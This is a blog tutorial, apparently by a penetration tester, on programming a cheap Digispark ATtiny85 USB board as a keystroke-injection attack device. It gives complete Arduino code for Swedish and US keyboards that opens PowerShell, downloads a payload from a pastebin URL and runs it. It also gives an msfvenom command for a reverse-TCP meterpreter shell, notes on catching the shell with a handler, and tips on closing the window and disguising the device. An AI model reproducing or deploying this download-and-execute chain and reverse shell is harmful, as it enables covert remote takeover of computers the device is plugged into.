Digispark ATtiny85 – Cheap “USB Rubber Ducky”

I believe most people are familiar with Hak5’s Rubbery Ducky, however, if you don’t here’s a tl;dr. It looks like a USB flash drive but acts like a keyboard, sort of. One can program it to drop shells or whatnot on a computer that it is plugged into. While not super expensive it does cost a bit, enough that it would suck to lose. So on riskier engagements it would be better to use cheaper hardware if possible. I mean, I saw this device go for roughly 1 dollar on ebay. When I got a ATtiny85 from Johannes I got excited to see how rough it would be to make it perform similar as a Rubbery Ducky. Turns out that was not very hard. Another key difference is that this device is more low level.

digispark-attiny85

Installation

First of all we need to download Arduino 1.6.5 IDE (only version I could make it work with, might be possible with newer) and install it. I installed it in a Microsoft Windows VM but feel free to do it however you want. Next up we need to add support for the ATtiny85 board. In the Arduino IDE goto: File -> Preferences and add http://digistump.com/package_digistump_index.json to “Additional Boards Manager URLs:.

Arduino-addgithub

Once that is done we need to install the board. Tools-> Board -> Boards Manager

arduino-ide-boardmanager

Switch Type from all to contributed. Scroll down to “Digistump AVR Boards” by Digistump and install it. Now the Arduino Board should support our ATtiny85 and be ready to use. In the Tools menu change board to Digispark (Default – 16.6 mhz).

Configuration

Now, if you use an American keyboard I believe you’re pretty much set and can skip down to the programming section. However I use a Swedish keyboard and thus I need to define where some keys are located. Otherwise when we program certain special characters it will type out the wrong key (example: ö instead of colon).

The file we’re going to edit is called DigiKeyboard.h. You can find it here: %APPDATA%\Roaming\Arduino15\packages\digistump\hardware\avr\1.6.7\libraries\DigisparkKeyboard\DigiKeyboard.h

Open it and add the following definitions.

#define KEY_ENTER       40
#define KEY_SPACE       44
#define KEY_SINGLEQ     49
#define KEY_COLON	55
#define KEY_HYPHEN	56
#define KEY_DELETE      76

If these definitions are not enough and you find yourself needing some other character use this reference (page 54) and map it.

Programming

Now, due to size limitations we can’t just toss a big nice meterpreter shell into the device. I went from a simple (but not very elegant)  approach and generated a reverse tcp meterpreter shell and tossed it on pastebin. The plan is to run a serie of powershell commands which will grab the payload from pastebin and then execute it. If you come up with a way on how to do this with the Digispark’s size limitations and keep it offline, please drop a comment. Also this example is for Microsoft Windows but the device should work on all operating systems.

Generate payload: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.132.129 LPORT=4444 -f psh-cmd –smallest

I removed everything up to powershell.exe and threw it on pastebin. Here’s my example.

So, to do this we want to hit meta+r to bring up Run and start powershell. Once that’s done we are going to invoke a few commands to download the payload and then execute it. On a side note this is the first time I’ve ever touched powershell :)

Powershell

$url = 'http://pastebin.com/raw/DJbS5mTj'
$result = Invoke-WebRequest -Uri $url
powershell.exe -nop -e $result.content

Arduino Code

The code should be pretty self explanatory. Do notice that this is for a Swedish keyboard. I have also written an American version but do keep in mind that it is untested but feel free to try it and notice me if it doesn’t work.

Swedish Keyboard Code

#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.update();
}

void loop() {
  delay(1000);
  DigiKeyboard.update();
  delay(100);

  // meta+r, delete content, start powershell
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // meta+r
  delay(100);
  DigiKeyboard.sendKeyStroke(KEY_DELETE); // Clean it up
  delay(50);
  DigiKeyboard.println("powershell");
  delay(200);

  // $url = 'pastebin.com/raw/DJbS5mTj'
  DigiKeyboard.sendKeyStroke(KEY_4, MOD_ALT_RIGHT);   // Send $
  DigiKeyboard.print("url ");
  DigiKeyboard.sendKeyStroke(KEY_0, MOD_SHIFT_LEFT);  // Send =
  DigiKeyboard.sendKeyStroke(KEY_SPACE);   // Send whitespace
  DigiKeyboard.sendKeyStroke(KEY_SINGLEQ);  // Send '
  DigiKeyboard.print("pastebin.com");
  DigiKeyboard.sendKeyStroke(KEY_7, MOD_SHIFT_LEFT);  //  Send /
  DigiKeyboard.print("raw");
  DigiKeyboard.sendKeyStroke(KEY_7, MOD_SHIFT_LEFT); //  Send /
  DigiKeyboard.print("DJbS5mTj");
  DigiKeyboard.sendKeyStroke(KEY_SINGLEQ);    // Send '
  DigiKeyboard.sendKeyStroke(KEY_ENTER); 

  delay(50);
  // $result = Invoke-WebRequest -Uri $url

  DigiKeyboard.sendKeyStroke(KEY_4, MOD_ALT_RIGHT);   // Send $
  DigiKeyboard.print("result ");
  DigiKeyboard.sendKeyStroke(KEY_0, MOD_SHIFT_LEFT);  // Send =
  DigiKeyboard.print(" Invoke");
  DigiKeyboard.sendKeyStroke(KEY_HYPHEN);        //   -
  DigiKeyboard.print("WebRequest ");
  DigiKeyboard.sendKeyStroke(KEY_HYPHEN);        //   -
  DigiKeyboard.print("Uri ");
  DigiKeyboard.sendKeyStroke(KEY_4, MOD_ALT_RIGHT);   // Send $
  DigiKeyboard.println("url");

  delay(50);
  // powershell.exe -nop -e $result.content

  DigiKeyboard.print("powershell.exe ");
  DigiKeyboard.sendKeyStroke(KEY_HYPHEN);        //   -
  DigiKeyboard.print("nop ");
  DigiKeyboard.sendKeyStroke(KEY_HYPHEN);        //   -
  DigiKeyboard.print("e ");
  DigiKeyboard.sendKeyStroke(KEY_4, MOD_ALT_RIGHT);   // Send $
  DigiKeyboard.println("result.content");
  
  delay(900000);
}

Keep in mind that print does not end the line while println does.

American Keyboard Code

Untested code!

#include "DigiKeyboard.h"

void setup() {
  DigiKeyboard.update();
}

void loop() {
  delay(1000);
  DigiKeyboard.update();
  delay(100);
  
  // meta+r, delete content, start powershell
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // meta+r
  delay(100);
  DigiKeyboard.sendKeyStroke(KEY_DELETE); // Clean it up
  delay(50);
  DigiKeyboard.println("powershell");
  delay(200);

  DigiKeyboard.println("$url = 'pastebin.com/raw/DJbS5mTj'");
  delay(50);
  DigiKeyboard.println("$result = Invoke-WebRequest -Uri $url");
  delay(50);
  DigiKeyboard.println("powershell.exe -nop -e $result.content");

  delay(900000);
}

Write and Test

Once the code is in place save the project. Click verify and then upload. Plugin the Digispark and Arduino IDE should automatically find it and write our code to the device. If everything went as expected you should be presented with the following message: Micronucleaus done. Thank you!. Remove the device.

Unless something went wrong we should now setup a multi/handler to catch the meterpreter shell. Do so and then plugin the device. It should now perform every steps automatically and drop a shell for us. Sweet.

arduino-powershell

arduino-meterpreter

Thoughts

It is not good to leave an open powershell window on a computer. To remedy this we can make Metasploit automatically migrate and kill the old process. Or migrate process with Metasploit, add a delay to the Digispark and hit exit.

Another issue (maybe) is the looks of the device. I suppose it shouldn’t be very hard to 3d print a cover for it.